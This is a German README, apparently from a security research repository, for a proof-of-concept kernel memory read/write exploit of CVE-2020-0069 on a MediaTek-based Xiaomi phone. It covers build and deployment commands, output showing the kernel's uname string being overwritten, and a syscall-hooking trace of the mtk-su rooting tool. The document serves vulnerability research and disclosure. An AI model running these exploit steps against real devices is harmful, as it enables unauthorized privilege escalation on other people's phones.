quarkslab/cve-2020-0069_pocProof-of-Concept-Exploit für CVE-2020-0069 auf Mediatek-Android-Geräten, der Kernel-Speicher-Lese-/Schreibzugriff und Syscall-Hooking zur Privilegienerweiterung ermöglicht.
Dieses Repository enthält die Materialien, die wir zur Untersuchung von CVE-2020-0069 auf einem Xiaomi Redmi 6a (mit MediaTek SoC MT6762M) verwendet haben.
Es gibt drei Programme:
kernel_rw.c, ein C-Programm, das das Lesen/Schreiben von Kernel-Speicher ermöglichtpoc.sh, ein Shell-Skriptsyscall_hook.c, eine C-Bibliothek, die zum Ablaufverfolgen des Programms mtk-su (getestet mit Version 19) verwendet werden kannUm die Binärdateien zu erstellen:
$ ndk-build
Dann auf das Gerät übertragen:
$ adb push poc.sh /data/local/tmp
$ adb push libs/armeabi-v7a/kernel_rw /data/local/tmp
$ adb push libs/armeabi-v7a/libsyscall_hook.so /data/local/tmp
$ uname -a
Linux localhost 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ sh poc.sh
[+] Found Linux string at 0x4180bc00
[+] Found Linux string at 0x4180bea0
[+] Write the patched value
$ uname -a
minix 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ mkdir mtk-su
$ LD_PRELOAD=./syscall_hook.so ./mtk-su
alloc failed
alloc count=400 startPA=0x53df4000
uncatched ioctl 40e07803
exec command (num 0) ( blockSize=8040, readAddress.count=0 ) dumped into cmd-0
exec command (num 1) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-1
exec command (num 2) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-2
[...]
$ cat mtksu/cmd-1
WFE to_wait=1, wait=1, to_update=1, update=0, event=1da
MOVE 40a68000 into reg 17
READ address reg 17, data reg b
MOVE startPA+0 into reg 17
WRITE address reg 17, data reg b
[...]